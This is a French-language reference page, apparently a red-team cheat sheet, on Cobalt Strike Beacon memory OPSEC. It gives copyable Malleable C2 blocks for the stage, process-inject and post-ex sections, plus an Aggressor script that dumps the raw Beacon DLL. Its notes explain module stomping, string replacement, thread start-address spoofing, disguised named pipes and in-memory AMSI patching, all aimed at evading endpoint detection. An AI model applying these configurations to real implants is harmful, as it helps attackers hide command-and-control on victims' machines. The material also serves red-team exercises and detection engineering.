Cobalt Strike

Memory & Config

OPSEC mémoire Beacon et blocs Malleable C2 : stage, process-inject, post-ex.

Stage - mémoire Beacon

Copy command
stage {
    set userwx         "false";
    set copy_pe_header "false";
    set cleanup        "true";
    set module_x64     "Hydrogen.dll";

    transform-x64 {
        strrep "beacon.x64.dll"   "beacon.x64.sys";
        strrep "%s (admin)"       "%s [elevated]";
    }
}

Description: userwx false : RW → copie → permissions par section (RX/.text, R/.rdata, RW/.data). copy_pe_header false : headers DOS/NT inutiles au runtime, les supprimer réduit les artefacts. module_x64 : module stomping - Beacon apparaît backed par Hydrogen.dll sur disque (choisir un DLL System32 >= 512 KB). strrep : remplace les strings dans le DLL - nouvelle string <= longueur originale, ne pas casser les strings HTTP internes.

Copy command
set BEACON_RDLL_GENERATE {
    local ('$path $handle');
    $path   = script_resource("beacon_raw." . $3 . ".dll");
    $handle = openf(">" . $path);
    writeb($handle, $2);
    closef($handle);
    return $null;
}
artifact_payload("http", "raw", "x64", "thread", "None");

Description: Exporter le DLL Beacon brut pour identifier les strings à remplacer. Charger beacon.cna dans Script Manager, puis : strings -d beacon_raw.x64.dll -n 6 > strings.txt

Malleable C2 - process-inject / post-ex

Copy command
process-inject {
    set bof_allocator    "VirtualAlloc";
    set bof_reuse_memory "true";
    set min_alloc        "8192";
    set startrwx         "false";
    set userwx           "false";
}

Description: Config mémoire pour les BOFs (inline, thread Beacon principal). bof_reuse_memory évite les alloc/free répétés. min_alloc : calibrer selon les BOFs utilisés. startrwx/userwx false : RW au repos, RX à l'exécution.

Copy command
process-inject {
    set allocator "VirtualAllocEx";
    set startrwx  "false";
    set userwx    "false";

    execute {
        CreateThread "ntdll.dll!RtlUserThreadStart+0x2c";
        NtQueueApcThread-s;
        NtQueueApcThread;
        SetThreadContext;
        CreateRemoteThread;
    }
}

Description: Config injection pour les commandes fork & run (execute-assembly, powerpick, mimikatz...). allocator : VirtualAllocEx (cross-arch) ou NtMapViewOfSection (même arch). execute block évalué top-to-bottom - technique préférée en premier. Spoofing d'adresse de start : module!function+0x## pour CreateThread/CreateRemoteThread.

Copy command
post-ex {
    set spawnto_x64  "%windir%\sysnative\msiexec.exe";
    set spawnto_x86  "%windir%\syswow64\msiexec.exe";
    set cleanup      "true";
    set pipename     "dotnet-diagnostic-#####,########-####-####-####-############";
    set thread_hint  "ntdll.dll!RtlUserThreadStart+0x2c";
    set amsi_disable "true";
}

Description: spawnto : processus sacrificiel pour la variante spawn (override en session). pipename : # → hex aléatoire. amsi_disable : patch mémoire AMSI dans powerpick/execute-assembly/psinject. Les variables %windir% ne fonctionnent pas en contexte SYSTEM - utiliser ak-settings pour les service binaries.